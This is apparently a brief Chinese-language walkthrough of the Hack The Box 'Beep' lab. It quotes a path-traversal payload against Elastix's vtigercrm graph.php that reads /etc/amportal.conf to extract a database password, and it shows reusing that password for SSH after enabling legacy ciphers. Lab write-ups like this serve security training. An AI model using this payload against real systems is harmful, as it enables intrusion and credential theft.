HTB-Beep

OS Difficulty
Linux Easy

Nmap Scan

添加映射

echo "10.10.10.7  beep.htb" | sudo tee /etc/hosts

访问https://beep.htb 发现新版火狐浏览器不支持低版本SSL,修改浏览器配置,地址栏输入about:config , 输入security.tls.version.min 修改值为1

漏洞利用

使用searchsploit 检索Elastix ,查看37637.pl ,获取到payload:/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action 搜索关键字 “AMPDBPASS” 获取到密码

使用获取到的密码进行ssh登录,发现算法不支持,修改一下本地配置:编辑 ~/.ssh/config 添加

Host *
  Ciphers +aes128-cbc
  KexAlgorithms +diffie-hellman-group14-sha1,diffie-hellman-group1-sha1
  HostKeyAlgorithms +ssh-rsa
Flag Path
Flag1 /home/fanis/user.txt
Flag2 /root/root.txt